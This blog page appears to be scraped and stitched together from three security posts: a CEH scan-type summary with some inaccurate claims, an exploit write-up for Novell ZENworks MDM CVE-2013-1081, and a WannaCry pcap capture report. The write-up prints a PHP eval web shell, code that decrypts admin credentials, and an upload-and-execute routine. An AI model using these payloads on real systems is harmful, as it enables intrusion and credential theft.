MyMally

v

In Hacking the main focus is over gathering the information about victim or victim's machine. Which will help to find out which type of exploit will works according to the given circumstances. Gathering the network and host information means to find out by which network, the which victim's machine is connected and communicating over the network. Moreover, scanning is also performed for gathering information about open and closed ports. After that they'll able to find the vulnerabilities in the target system and try to get access to the system.

Types Of Scan

As a CEH you should know the scan types and uses:

SYN

SYN scan doesn't complete the TCP three way handshake that is why it is known as a half-open scan. An attacker send a SYN packet to the victim machine if SYN/ACK packet is received back to attacker, then it clarify that the port is listening due to the acknowledgment by the victim that it has completed the connection. While if the attacker is received the RST/ACK packet then it assumed that the port is closed or open.

XMAS

XMAS scan works only on target system that has the RFC 793 development of TCP/IP and it doesn't works against any version of windows.
XMAS scan send a packet with by setting up the FIN, URG and PSH flags of the TCP header. The function of this scan is if the port is active there will be no response but if the port is closed the target responds with a RST/ACK packet.

FIN

A FIN scan send a packet by setting up only the FIN flag of the TCP. This scan is similar to XMAS scan. FIN scan receives no response if the port is active while if the port is closed it receives the RST/ACK packet.

NULL

NULL scan is also similar to the XMAS scan. But the only difference is that it sends a packet without setting up the any flag of TCP header. NULL scan receives no response if the port is open but if the port is closed it receives the RST/ACK packet.

IDLE

It is just like spoofing an IP address by sending a SYN packet to the victim's machine to find out which services are available over the system. This scan is completed with the help of another system called as "Zombie" (that is not receiving or transmitting any information).

Related word

v

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.

More articles

v

Saw that a lot of people were looking for a pcap with WannaCry spreading Using EthernalBlue.

I have put together a little "petri dish" test environment and started looking for a sample that has the exploit. Some samples out there simply do not have the exploit code, and even tough they will encrypt the files locally, sometimes the mounted shares too, they would not spread.

Luckily, I have found this nice blog post from McAfee Labs: https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/ with the reference to the sample SHA256: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c (they keep referring to samples with MD5, which is still a very-very bad practice, but the hash is MD5: DB349B97C37D22F5EA1D1841E3C89EB4)

Once I got the sample from the VxStream Sandbox site, dropped it in the test environment, and monitored it with Security Onion. I was super happy to see it spreading, despite the fact that for the first run my Windows 7 x64 VM went to BSOD as the EthernalBlue exploit failed.

But the second run was a full success, all my Windows 7 VMs got infected. Brad was so kind and made a guest blog post at one of my favorite sites, www.malware-traffic-analysis.net so you can find the pcap, description of the test environment and some screenshots here: http://malware-traffic-analysis.net/2017/05/18/index2.html

MyMally

Sunday, August 30, 2020

CEH: Gathering Network And Host Information, Types Of Scan

Types Of Scan

SYN

XMAS

FIN

NULL

IDLE

Novell Zenworks MDM: Mobile Device Management For The Masses

Saturday, August 29, 2020

Pcap Of Wannacry Spreading Using EthernalBlue

Read more

Pcap Of Wannacry Spreading Using EthernalBlue

More articles

Blog Archive